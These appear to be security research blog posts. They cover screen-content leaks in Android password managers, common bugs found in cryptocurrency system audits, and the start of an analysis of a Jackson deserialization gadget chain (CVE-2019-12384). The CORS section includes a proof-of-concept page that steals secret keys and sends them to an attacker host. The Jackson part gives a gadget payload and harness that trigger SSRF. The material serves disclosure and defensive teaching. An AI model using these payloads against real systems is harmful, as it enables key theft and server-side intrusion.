<p>The following sections provide a summary of the discovered issues. All vulnerabilities were disclosed to the vendors throughout the second week of May 2019.</p>
<h3 id="1password">1Password</h3>
<p>In <a href="https://1password.com/">1Password</a>, the Account Settings’ section offers a way to manage 1Password accounts. One of the functionalities is “Large Type”, which allows showing an account’s Secret Key in a large, easy-to-read format. The fragment showing the Secret Key leaks the generated password to third-party applications installed on the victim’s device.
The Secret Key is combined with the user’s Master Password to create the full encryption key used to encrypt the accounts data, <a href="https://support.1password.com/secret-key-security/#how-your-secret-key-protects-you">protecting them on the server side</a>.</p>
<div style="text-align: center;">
<img src="../../../public/images/1password-leak.jpg" width="250" title="1Password Secret Key Leak Vulnerability" alt="1Password Secret Key Leak Vulnerability" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>This was fixed in 1Password for Android in version <a href="https://app-updates.agilebits.com/product_history/OPA4#v7010505">7.1.5</a>, which was released on May 29, 2019.</p>
<h3 id="keeper">Keeper</h3>
<p>When a user taps the password field, <a href="https://keepersecurity.com/">Keeper</a> shows a “Copied to Clipboard” toast. But if the user shows the cleartext password with the “Eye” icon, the toast will also contain the secret cleartext password. This fragment showing the copied password leaks the password to third-party applications.</p>
<div style="text-align: center;">
<img src="../../../public/images/keeper-leak-1.jpg" width="250" style="padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;" title="Keeper Password Leak Vulnerability (without FLAG_SECURE set)" alt="Keeper Password Leak Vulnerability (without FLAG_SECURE set)" align="center" />
<img src="../../../public/images/keeper-leak-2.jpg" width="250" style="padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;" title="Keeper Password Leak Vulnerability (with FLAG_SECURE set)" alt="Keeper Password Leak Vulnerability (with FLAG_SECURE set)" align="center" />
</div>
<p>This was fixed in Keeper for Android version 14.3.0, which was released on June 21, 2019. <a href="https://docs.keeper.io/release-notes/mobile-platforms/android/android-version-14.3.0">An official advisory was also issued</a>.</p>
<h3 id="dashlane">Dashlane</h3>
<p>Dashlane features a random password generation functionality, usable when an account entry is inserted or edited. Unfortunately, the window responsible for choosing the parameter for the “safe” passwords is visible by third parties applications on the victim’s device.</p>
<div style="text-align: center;">
<img src="../../../public/images/dashlane-leak-1.jpg" width="250" style="border-radius: 10px; display: block; margin-left: auto; margin-right: auto;" title="Dashlane Password Leak Vulnerability" alt="Dashlane Password Leak Vulnerability" align="center" />
</div>
<p>Note that it is also possible for an attacker to infer the service associated with the leaked password, since the services list and autocomplete fragment is also missing the <code class="language-plaintext highlighter-rouge">FLAG_SECURE</code> flag, resulting in its leak.</p>
<div style="text-align: center;">
<img src="../../../public/images/dashlane-leak-2.jpg" style="padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;" width="250" alt="Dashlane Leak Vulnerability" align="center" />
<img src="../../../public/images/dashlane-leak-3.jpg" style="padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;" width="250" alt="Dashlane Leak Vulnerability" align="center" />
</div>
<p>The issue was fixed in Dashlane for Android in version <a href="https://support.dashlane.com/hc/en-us/articles/206553939-Release-notes#title2">6.1929.2</a>.</p>
<h2 id="the-attack-scenario">The attack scenario</h2>
<p>Several scenarios would result in an app being installed on a user’s phone recording their activity. These include:</p>
<ul>
<li>Malicious casting apps requiring record permission, since users usually don’t know that casting apps can also record their screen;</li>
<li>Innocuous-looking apps using <a href="http://cloak-and-dagger.org/">Cloak & Dagger</a> attacks;</li>
<li>Malicious app installed through third-party Android app stores or <a href="https://www.blackhat.com/docs/us-17/thursday/us-17-Anderson-Bot-Vs-Bot-Evading-Machine-Learning-Malware-Detection-wp.pdf">bypassing</a> <a href="https://security.googleblog.com/2018/03/android-security-2017-year-in-review.html"><span title="Potentially Harmful Applications">PHA</span> detection filters</a> of the Play Store;</li>
<li>Malicious app pushed to the smartphone using the Play Store feature in a <a href="http://fc16.ifca.ai/preproceedings/24_Konoth.pdf">Man-in-the-Browser</a> attack scenario;</li>
</ul>
<p>If these scenarios seem unlikely to happen in real life, it is worth noting that there have been <a href="https://elleenpan.com/files/panoptispy.pdf">several</a> <a href="https://www.zdnet.com/article/android-security-password-stealing-trojan-malware-sneaks-in-google-play-store-in-bogus-apps/">instances</a> of apps abusing this class of attacks in the recent past.</p>
<p>Many thanks to the <em>1Password</em>, <em>Keeper</em>, and <em>Dashlane</em> security teams that handled the report in a professional way, issued a payout, and allowed the disclosure. <strong>Please remember that using a password manager is still the best choice these days to protect your digital accounts and that all the above issues are now fixed.</strong></p>
<p>As always, this research was possible thanks to my <a href="https://doyensec.com/careers.html">25% research time</a> at Doyensec!</p>
Lessons in auditing cryptocurrency wallets, systems, and infrastructures2019-08-01T00:00:00+02:00https://blog.doyensec.com/2019/08/01/common-crypto-bugs<p>In the past three years, Doyensec has been providing security testing services for some of the global brands in the cryptocurrency world. We have audited desktop and mobile wallets, exchanges web interfaces, custody systems, and backbone infrastructure components.</p>
<p>We have seen many things done right, but also discovered many design and implementation vulnerabilities. Failure is a great lesson in security and can always be turned into positive teaching for the future. Learning from past mistakes is the key to create better systems.</p>
<p><img src="../../../public/images/doyensec_cryptosec.jpg" alt="Vulnerability Impact" align="center" width="700" /></p>
<p>In this article, we will guide you through a selection of four simple (yet dangerous!) application vulnerabilities.</p>
<blockquote>
<p><strong>Breaking Crypto Currency Systems != Breaking Crypto</strong> (at least not always)</p>
<p>For that, you would probably need to wait for <a href="https://www.blackhat.com/us-19/briefings/schedule/#lessons-from-two-years-of-crypto-audits-14738">Jean-Philippe Aumasson’s talk</a> at the upcoming BlackHat Vegas.</p>
</blockquote>
<p>This blog post was brought to you by <a href="https://twitter.com/ggisx">Kevin Joensen</a> and Mateusz Swidniak.</p>
<h2 id="1-cors-misconfigurations">1) CORS Misconfigurations</h2>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a> is used for relaxing the Same Origin Policy. This mechanism enables communication between websites hosted on different domains. A misconfigured CORS can have a great impact on the website security posture as other sites might access the page content.</p>
<p>Imagine a website with the following HTTP response headers:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
</code></pre></div></div>
<p>If an attacker has successfully lured a victim to their website, they can easily issue an HTTP request with a <em>null</em> origin using an <em>iframe</em> tag and a <em>sandbox</em> attribute.</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><iframe</span> <span class="na">sandbox=</span><span class="s">"allow-scripts"</span> <span class="na">src=</span><span class="s">"https://attacker.com/corsbug"</span> <span class="nt">/></span>
</code></pre></div></div>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><html></span>
<span class="nt"><body></span>
<span class="nt"><script></span>
<span class="kd">var</span> <span class="nx">req</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>
<span class="nx">req</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="nx">callback</span><span class="p">;</span>
<span class="nx">req</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">'</span><span class="s1">GET</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">https://bitcoinbank/keys</span><span class="dl">'</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
<span class="nx">req</span><span class="p">.</span><span class="nx">withCredentials</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
<span class="nx">req</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>
<span class="kd">function</span> <span class="nx">callback</span><span class="p">()</span> <span class="p">{</span>
<span class="nx">location</span><span class="o">=</span><span class="dl">'</span><span class="s1">https://attacker.com/?dump=</span><span class="dl">'</span><span class="o">+</span><span class="k">this</span><span class="p">.</span><span class="nx">responseText</span><span class="p">;</span>
<span class="p">};</span>
<span class="nt"></script></span>
<span class="nt"></body></span>
</code></pre></div></div>
<p>When the victim visits the crafted page, the attacker can perform a request to <code class="language-plaintext highlighter-rouge">https://bitcoinbank/keys</code> and retrieve their secret keys.</p>
<p>This can also happen when the <code class="language-plaintext highlighter-rouge">Access-Control-Allow-Origin</code> response header is dynamically updated to the same domain as specified by the <em>Origin</em> request header.</p>
<h4 id="references">References:</h4>
<ul>
<li><a href="https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties">https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties</a></li>
<li><a href="https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/">https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/</a></li>
</ul>
<h4 id="checklist">Checklist:</h4>
<ul>
<li>Ensure that your <code class="language-plaintext highlighter-rouge">Access-Control-Allow-Origin</code> is never set to <code class="language-plaintext highlighter-rouge">null</code></li>
<li>Ensure that <code class="language-plaintext highlighter-rouge">Access-Control-Allow-Origin</code> is not taken from a user-controlled variable or header</li>
<li>Ensure that you are not dynamically copying the value of the <code class="language-plaintext highlighter-rouge">Origin</code> HTTP header into <code class="language-plaintext highlighter-rouge">Access-Control-Allow-Origin</code></li>
</ul>
<h2 id="2-asserts-and-compilers">2) Asserts and Compilers</h2>
<p>In some programming languages, optimizations performed by the compiler can have undesirable results. This could manifest in many different quirks due to specific compiler or language behaviors, however there is a specific class of idiosyncrasies that can have devastating effects.</p>
<p>Let’s consider this Python code as an example:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># All deposits should belong to the same CRYPTO address
</span><span class="k">assert</span> <span class="nb">all</span><span class="p">([</span><span class="n">x</span><span class="p">.</span><span class="n">deposit_address</span> <span class="o">==</span> <span class="n">address</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">deposits</span><span class="p">])</span>
</code></pre></div></div>
<p>At first sight, there is nothing wrong with this code. Yet, there is actually a quite severe bug. The problem is that Python runs with <code class="language-plaintext highlighter-rouge">__debug__</code> by default. This allows for assert statements like the security control illustrated above. When the code gets compiled to optimized byte code (<code class="language-plaintext highlighter-rouge">*.pyo files</code>) and lands into production, all asserts are gone. As a result, the application will not enforce any security checks.</p>
<p>Similar behaviors exist in many languages and with different compiler options, including <em>C/C++</em>, <em>Swift</em>, <em>Closure</em> and many more.</p>
<p>For example, let’s consider the following <em>Swift</em> code:</p>
<div class="language-swift highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// No assert if password is == mysecret</span>
<span class="k">if</span> <span class="p">(</span><span class="n">password</span> <span class="o">!=</span> <span class="s">"mysecretpw"</span><span class="p">)</span> <span class="p">{</span>
<span class="nf">assertionFailure</span><span class="p">(</span><span class="s">"Password not correct!"</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>
<p>If you were to run this code in Xcode, then it would simply hit your <code class="language-plaintext highlighter-rouge">assertionFailure</code> in case of an incorrect password. This is because Xcode compiles the application without any optimizations using the <code class="language-plaintext highlighter-rouge">-Onone</code> flag. If you were to build the same code for the Apple Store instead, the check would be optimized out leading to no password check at all since the execution will continue. Note that there are many things wrong in those three lines of code.</p>
<p>Talking about assertions, <em>PHP</em> takes the first place and de-facto facilitates RCE when you run <a href="https://wiki.php.net/rfc/deprecations_php_7_2#assert_with_string_argument">asserts with a string argument</a>. This is due to the argument getting evaluated through the standard <code class="language-plaintext highlighter-rouge">eval</code>.</p>
<h4 id="references-1">References:</h4>
<ul>
<li><a href="https://medium.com/@alecoconnor/asserts-in-swift-and-why-you-should-be-using-them-6a7c96eaec10">https://medium.com/@alecoconnor/asserts-in-swift-and-why-you-should-be-using-them-6a7c96eaec10</a></li>
<li><a href="https://docs.openstack.org/bandit/latest/plugins/b101_assert_used.html">https://docs.openstack.org/bandit/latest/plugins/b101_assert_used.html</a></li>
<li><a href="https://wiki.php.net/rfc/deprecations_php_7_2#assert_with_string_argument">https://wiki.php.net/rfc/deprecations_php_7_2#assert_with_string_argument</a></li>
</ul>
<h4 id="checklist-1">Checklist:</h4>
<ul>
<li>Do not use <code class="language-plaintext highlighter-rouge">assert</code> statements for guarding code and enforcing security checks</li>
<li>Research for compiler optimizations gotchas in the language you use</li>
</ul>
<h2 id="3-arithmetic-errors">3) Arithmetic Errors</h2>
<p>A bug class that is also easy to overlook in fin-tech systems pertains to arithmetic operations. Negative numbers and overflows can create money out of thin air.</p>
<p>For example, let’s consider a withdrawal function that looks for the amount of money in a certain wallet. Being able to pass a negative number could be abused to generate money for that account.</p>
<p>Imagine the following example code:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="n">data</span><span class="p">[</span><span class="s">"wallet"</span><span class="p">].</span><span class="n">balance</span> <span class="o"><</span> <span class="n">data</span><span class="p">[</span><span class="s">"amount"</span><span class="p">]:</span>
<span class="n">error_dict</span><span class="p">[</span><span class="s">"wallet_balance"</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="s">"Withdrawal exceeds available balance"</span><span class="p">)</span>
<span class="p">...</span>
<span class="n">data</span><span class="p">[</span><span class="s">"wallet"</span><span class="p">].</span><span class="n">balance</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="s">"wallet"</span><span class="p">].</span><span class="n">balance</span> <span class="o">-</span> <span class="n">data</span><span class="p">[</span><span class="s">"amount"</span><span class="p">]</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">if</code> statement correctly checks if the balance is higher than the requested amount. However, the code does not enforce the use of a positive number.</p>
<p>Let’s try with <code class="language-plaintext highlighter-rouge">-100</code> coins in a wallet account having <code class="language-plaintext highlighter-rouge">200</code> coins.</p>
<p>The check would be satisfied and the code responsible for updating the amount would look like the following:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">data</span><span class="p">[</span><span class="s">"wallet"</span><span class="p">].</span><span class="n">balance</span> <span class="o">=</span> <span class="mi">200</span> <span class="o">-</span> <span class="p">(</span><span class="o">-</span><span class="mi">100</span><span class="p">)</span> <span class="c1"># 300 coins
</span></code></pre></div></div>
<p>This would enable an attacker to get free money out of the system.</p>
<p>Talking about numbers and arithmetic, there are also well-known bugs affecting lower-level languages in which <code class="language-plaintext highlighter-rouge">signed</code> vs <code class="language-plaintext highlighter-rouge">unsigned</code> types come to play.</p>
<p>In most architectures, a <code class="language-plaintext highlighter-rouge">signed</code> short integer is a <em>2 bytes</em> type that can hold a negative number and a positive number.
In memory, positive numbers are represented as <code class="language-plaintext highlighter-rouge">1 == 0x0001</code>, <code class="language-plaintext highlighter-rouge">2 == 0x0002</code> and so forth. Instead, negative numbers are represented as two’s complement <code class="language-plaintext highlighter-rouge">-1 == 0xffff</code>,<code class="language-plaintext highlighter-rouge">-2 == 0xfffe</code> and so forth.
These representations meet on <code class="language-plaintext highlighter-rouge">0x7fff</code>, which enables a signed integer to hold a value between <code class="language-plaintext highlighter-rouge">-32768</code> and <code class="language-plaintext highlighter-rouge">32767</code>.</p>
<p>Let’s take a look at an example with pseudo-code:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">signed</span> <span class="kt">short</span> <span class="kt">int</span> <span class="n">bank_account</span> <span class="o">=</span> <span class="o">-</span><span class="mi">30000</span>
</code></pre></div></div>
<p>Assuming the system still allows withdrawals (e.g. perhaps a loan), the following code will be exercised:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">withdraw</span><span class="p">(</span><span class="kt">signed</span> <span class="kt">short</span> <span class="kt">int</span> <span class="n">money</span><span class="p">){</span>
<span class="n">bank_account</span> <span class="o">-=</span> <span class="n">money</span>
<span class="p">}</span>
</code></pre></div></div>
<p>As we know, the max negative value is <code class="language-plaintext highlighter-rouge">-32768</code>. What happens if a user withdraws <code class="language-plaintext highlighter-rouge">2768 + 1</code> ?</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">withdraw</span><span class="p">(</span><span class="mi">2769</span><span class="p">);</span> <span class="c1">//32767</span>
</code></pre></div></div>
<p>Yes! No longer in debt thanks to integer wrapping. Current balance is now <code class="language-plaintext highlighter-rouge">32767</code>.</p>
<h4 id="references-2">References:</h4>
<ul>
<li><a href="https://blog.feabhas.com/2014/10/vulnerabilities-in-c-when-integers-go-bad/">https://blog.feabhas.com/2014/10/vulnerabilities-in-c-when-integers-go-bad/</a></li>
<li><a href="https://en.cppreference.com/w/cpp/language/types">https://en.cppreference.com/w/cpp/language/types</a></li>
<li><a href="https://gcc.gnu.org/ml/gcc-help/2011-07/msg00219.html">https://gcc.gnu.org/ml/gcc-help/2011-07/msg00219.html</a></li>
</ul>
<h4 id="checklist-2">Checklist:</h4>
<ul>
<li>Verify that the transaction systems and other components dealing with financial arithmetic do not accept negative numbers</li>
<li>Verify integer boundaries, and whether correct <code class="language-plaintext highlighter-rouge">signed</code> vs <code class="language-plaintext highlighter-rouge">unsigned</code> types are used across the entire codebase. Note that the signed integer overflow is considered <em>undefined behavior</em>.</li>
</ul>
<h2 id="4-password-reset-token-leakage-via-referer">4) Password Reset Token Leakage Via Referer</h2>
<p>Last but not least, we would like to introduce a simple infoleak bug. This is a very widespread issue present in the password reset mechanism of many web platforms.</p>
<p><img src="../../../public/images/passwordreset.png" alt="Vulnerability Impact" align="center" width="400" /></p>
<p>A standard procedure for a password reset in modern web applications involves the use of a <em>secret</em> link sent out to the user via email. The secret is used as an authentication token to prove that the recipient had access to the email associated with the user’s registration.</p>
<p>Those links typically take the form of <code class="language-plaintext highlighter-rouge">https://example.com/passwordreset/2a8c5d7e-5c2c-4ea6-9894-b18436ea5320</code> or <code class="language-plaintext highlighter-rouge">https://example.com/passwordreset?token=2a8c5d7e-5c2c-4ea6-9894-b18436ea5320</code>.</p>
<p>But what actually happens when the user clicks the link?</p>
<p>When a web browser requests a resource, it typically adds an HTTP header, called the <code class="language-plaintext highlighter-rouge">Referer</code> header indicating the URL of the resource from which the request originated. If the resource being requested resides on a different domain, the <code class="language-plaintext highlighter-rouge">Referer</code> header is still generally included in the cross-domain request. It is not uncommon that the password reset page loads external JavaScript resources such as libraries and tracking code. Under those circumstances, the password reset token will be also sent to the 3rd-party domains.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /libs/jquery.js HTTP/1.1
Host: 3rdpartyexampledomain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Referer: https://example.com/passwordreset/2a8c5d7e-5c2c-4ea6-9894-b18436ea5320
Connection: close
</code></pre></div></div>
<p>As a result, personnel working for the affected 3rd-party domains and having access to the web server access logs might be able to take over accounts of the vulnerable web platform.</p>
<h4 id="references-3">References:</h4>
<ul>
<li><a href="https://portswigger.net/kb/issues/00500400_cross-domain-referer-leakage">https://portswigger.net/kb/issues/00500400_cross-domain-referer-leakage</a></li>
<li><a href="https://thoughtbot.com/blog/is-your-site-leaking-password-reset-links">https://thoughtbot.com/blog/is-your-site-leaking-password-reset-links</a></li>
</ul>
<h4 id="checklist-3">Checklist:</h4>
<ul>
<li>If possible, applications should never transmit any sensitive information within the URL query string</li>
<li>In case of password reset links, the <code class="language-plaintext highlighter-rouge">Referer</code> header should always be removed using one of the following techniques:
<ul>
<li>Blank landing page under the web platform domain, followed by a redirect</li>
<li>Originate the navigation from a pseudo-URL document, such as <code class="language-plaintext highlighter-rouge">data:</code> or <code class="language-plaintext highlighter-rouge">javascript:</code></li>
<li>Using <code class="language-plaintext highlighter-rouge"><iframe src=about:blank></code></li>
<li>Using <code class="language-plaintext highlighter-rouge"><meta name="referrer" content="no-referrer" /></code></li>
<li>Setting an appropriate <code class="language-plaintext highlighter-rouge">Referrer-Policy</code> header, assuming your application supports recent browsers only</li>
</ul>
</li>
</ul>
<p><strong>If you would like to talk about securing your platform, contact us at <a href="mailto:info@doyensec.com">info@doyensec.com</a>!</strong></p>
Jackson gadgets - Anatomy of a vulnerability2019-07-22T00:00:00+02:00https://blog.doyensec.com/2019/07/22/jackson-gadgets<h2 id="jackson-cve-2019-12384-anatomy-of-a-vulnerability-class">Jackson CVE-2019-12384: anatomy of a vulnerability class</h2>
<p>During one of our engagements, we analyzed an application which used the
<a href="https://github.com/FasterXML/jackson">Jackson</a> library for deserializing JSONs.
In that context, we have identified a deserialization vulnerability where we could control
the class to be deserialized. In this article, we want to show how an attacker may leverage this deserialization vulnerability to trigger attacks such as Server-Side Request Forgery (SSRF) and remote code execution.</p>
<p>This research also resulted in a new <a href="https://access.redhat.com/security/cve/cve-2019-12384">CVE-2019-12384</a> and a bunch of RedHat products affected by it:</p>
<!-- put image about the impact -->
<p><img src="../../../public/images/jackson-impact.png" alt="Vulnerability Impact" align="center" width="500" /></p>
<h2 id="what-is-required">What is required?</h2>
<p>As reported by Jackson’s author in
<a href="https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96">On Jackson CVEs: Don’t Panic — Here is what you need to know</a> the requirements
for a Jackson “gadget” vulnerability are:</p>
<ol>
<li>
<p>(1) The application accepts JSON content sent by an untrusted client (composed either manually or by a code
you did not write and have no visibility or control over) — meaning that you can
not constrain JSON itself that is being sent</p>
</li>
<li>
<p>(2) The application uses polymorphic type handling for properties with nominal type of
<em>java.lang.Object</em> (or one of small number of “permissive” tag interfaces such as
<em>java.util.Serializable</em>, <em>java.util.Comparable</em>)</p>
</li>
<li>
<p>(3) The application has at least one specific “gadget” class to exploit in the Java classpath. In detail, exploitation requires a class that works with Jackson. In fact, most gadgets only work with specific libraries — e.g. most commonly reported ones work with JDK serialization</p>
</li>
<li>
<p>(4) The application uses a version of Jackson that does not (yet) block the specific “gadget” class. There is a set of published gadgets which grows over time so it is a race between people finding and reporting gadgets and the patches. Jackson operates on a blacklist. The deserialization is a “feature” of the platform and they continually update a <a href="https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java">blacklist of known gadgets that people report</a>.</p>
</li>
</ol>
<p>In this research we assumed that the preconditions (1) and (2) are satisfied. Instead, we concentrated
on finding a gadget that could meet both (3) and (4). Please note that Jackson is one of the most used deserialization frameworks for Java applications
where polymorphism is a first-class concept. Finding these conditions
comes at zero-cost to a potential attacker who may use
<a href="https://find-sec-bugs.github.io/bugs.htm#JACKSON_UNSAFE_DESERIALIZATION">static analysis tools</a>
or other dynamic techniques, such as grepping for <code class="language-plaintext highlighter-rouge">@class</code> in request/responses, to find these targets.</p>
<h2 id="preparing-for-the-battlefield">Preparing for the battlefield</h2>
<p>During our research we developed a tool to assist the discovery of such vulnerabilities. When Jackson deserializes
<code class="language-plaintext highlighter-rouge">ch.qos.logback.core.db.DriverManagerConnectionSource</code>, this class can be abused to
instantiate a JDBC connection. JDBC stands for (J)ava (D)ata(b)ase (C)onnectivity.
JDBC is a Java API to connect and execute a query with the database and it
is a part of JavaSE (Java Standard Edition). Moreover, JDBC uses an automatic
string to class mapping, as such it is a perfect target to load and execute
even more “gadgets” inside the chain.</p>
<p>In order to demonstrate the attack, we prepared a wrapper in which
we load arbitrary polymorphic classes specified by an attacker.
For the environment we used <a href="https://www.jruby.org/">jRuby</a>, a ruby implementation running on top of the Java Virtual Machine (JVM). With its integration on top of the JVM, we can easily load and instantiate Java classes.</p>
<p>We’ll use this setup to load Java classes easily in a given directory and prepare the Jackson environment to meet
the first two requirements (1,2) listed above. In order to do that, we implemented the following <a href="https://www.jruby.org/">jRuby</a> script.</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">require</span> <span class="s1">'java'</span>
<span class="no">Dir</span><span class="p">[</span><span class="s2">"./classpath/*.jar"</span><span class="p">].</span><span class="nf">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">f</span><span class="o">|</span>
<span class="nb">require</span> <span class="n">f</span>
<span class="k">end</span>
<span class="n">java_import</span> <span class="s1">'com.fasterxml.jackson.databind.ObjectMapper'</span>
<span class="n">java_import</span> <span class="s1">'com.fasterxml.jackson.databind.SerializationFeature'</span>
<span class="n">content</span> <span class="o">=</span> <span class="no">ARGV</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="nb">puts</span> <span class="s2">"Mapping"</span>
<span class="n">mapper</span> <span class="o">=</span> <span class="no">ObjectMapper</span><span class="p">.</span><span class="nf">new</span>
<span class="n">mapper</span><span class="p">.</span><span class="nf">enableDefaultTyping</span><span class="p">()</span>
<span class="n">mapper</span><span class="p">.</span><span class="nf">configure</span><span class="p">(</span><span class="no">SerializationFeature</span><span class="o">::</span><span class="no">FAIL_ON_EMPTY_BEANS</span><span class="p">,</span> <span class="kp">false</span><span class="p">);</span>
<span class="nb">puts</span> <span class="s2">"Serializing"</span>
<span class="n">obj</span> <span class="o">=</span> <span class="n">mapper</span><span class="p">.</span><span class="nf">readValue</span><span class="p">(</span><span class="n">content</span><span class="p">,</span> <span class="n">java</span><span class="p">.</span><span class="nf">lang</span><span class="o">.</span><span class="no">Object</span><span class="p">.</span><span class="nf">java_class</span><span class="p">)</span> <span class="c1"># invokes all the setters</span>
<span class="nb">puts</span> <span class="s2">"objectified"</span>
<span class="nb">puts</span> <span class="s2">"stringified: "</span> <span class="o">+</span> <span class="n">mapper</span><span class="p">.</span><span class="nf">writeValueAsString</span><span class="p">(</span><span class="n">obj</span><span class="p">)</span>
</code></pre></div></div>
<p>The script proceeds as follows:</p>
<ol>
<li>At line 2, it loads all of the classes contained in the Java Archives (JAR) within the “classpath” subdirectory</li>
<li>Between lines 5 and 13, it configures Jackson in order to meet requirements (#2)</li>
<li>Between lines 14 and 17, it deserializes and serializes a polymorphic Jackson object passed to jRuby as JSON</li>
</ol>
<h2 id="memento-reaching-the-gadget">Memento: reaching the gadget</h2>
<p>For this research we decided to
use gadgets that are widely used by the Java community. All the libraries
targeted in order to demonstrate this attack are in the top 100 most common libraries in the <a href="https://search.maven.org/">Maven central</a>
repository.</p>
<p>To follow along and to prepare for the attack, you can download the following libraries and put them in the “classpath” directory:</p>
<ul>
<li><a href="http://central.maven.org/maven2/com/fasterxml/jackson/core/jackson-databind/2.9.8/jackson-databind-2.9.8.jar">jackson-databind-2.9.8</a></li>
<li><a href="http://central.maven.org/maven2/com/fasterxml/jackson/core/jackson-annotations/2.9.8/jackson-annotations-2.9.8.jar">jackson-annotations-2.9.8</a></li>
<li><a href="http://central.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.9.8/jackson-core-2.9.8.jar">jackson-core-2.9.8</a></li>
<li><a href="http://central.maven.org/maven2/ch/qos/logback/logback-core/1.3.0-alpha4/logback-core-1.3.0-alpha4.jar">logback-core-1.3.0-alpha4</a></li>
<li><a href="http://central.maven.org/maven2/com/h2database/h2/1.4.199/h2-1.4.199.jar">h2-1.4.199</a></li>
</ul>
<p>It should be noted the <code class="language-plaintext highlighter-rouge">h2</code> library is not required to perform SSRF, since our experience suggests that
most of the time Java applications load at least one JDBC Driver. JDBC Drivers are classes that, when
a JDBC url is passed in, are automatically instantiated and the full URL is passed to them as an argument.</p>
<p>Using the following command, we will call the previous script with the aforementioned classpath.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>jruby test.rb <span class="s2">"[</span><span class="se">\"</span><span class="s2">ch.qos.logback.core.db.DriverManagerConnectionSource</span><span class="se">\"</span><span class="s2">, {</span><span class="se">\"</span><span class="s2">url</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="s2">jdbc:h2:mem:</span><span class="se">\"</span><span class="s2">}]"</span>
</code></pre></div></div>
<p>On line 15 of the script, Jackson will recursively call all of the setters with the key
contained inside the subobject. To be more specific, the <code class="language-plaintext highlighter-rouge">setUrl(String url)</code> is called with arguments by
the Jackson reflection library. After that phase (line 17) the full object is serialized into a JSON
object again. At this point all the fields are serialized directly, if no getter is defined,
or through an explicit getter. The interesting getter for us is <code class="language-plaintext highlighter-rouge">getConnection()</code>.
In fact, as an attacker, we are interested in all <a href="http://tutorials.jenkov.com/java-functional-programming/index.html#pure-functions">“non pure” methods</a>
that have interesting side effects where we control an argument.</p>
<p>When the <code class="language-plaintext highlighter-rouge">getConnection</code> is called, an in memory database is instantiated. Since the application
is short lived, we won’t see any meaningful effect from the attacker’s perspective. In order to do something more meaningful
we create a connection to a remote database. If the target application is deployed as a remote service,
an attacker can generate a Server Side Request Forgery (SSRF). The following screenshot is an example of this scenario.</p>
<!-- put screenshot here -->
<p><img src="../../../public/images/jackson-chain.png" alt="Jackson Chain" align="center" /></p>
<h2 id="enter-the-matrix-from-ssrf-to-rce">Enter the Matrix: From SSRF to RCE</h2>
<p>As you may have noticed both of these scenarios lead to DoS and SSRF. While those attacks may affect the application security, we want to show you a simple and effective technique
to turn a SSRF into a full chain RCE.</p>
<p>In order to gain full code execution in the context of the
application, we employed the capability of loading the <a href="http://www.h2database.com/html/features.html">H2</a> JDBC Driver.
<a href="http://www.h2database.com/html/features.html">H2</a> is a super fast SQL database usually employed as in memory replacement for full-fledged
SQL Database Management Systems (such as Postgresql, MSSql, MySql or OracleDB).
It is easily configurable and it actually supports many modes such as
in memory, on file, and on remote servers. H2 has the capability to run SQL scripts from the JDBC URL, which was added in order to have an in-memory database that supports init
<a href="https://edgeguides.rubyonrails.org/active_record_migrations.html">migrations</a>.
This alone won’t allow an attacker to actually execute Java code inside the JVM
context. However <a href="http://www.h2database.com/html/features.html">H2</a>, since it was
implemented inside the JVM, <a href="https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html">has the capability to specify custom aliases containing
java code</a>.
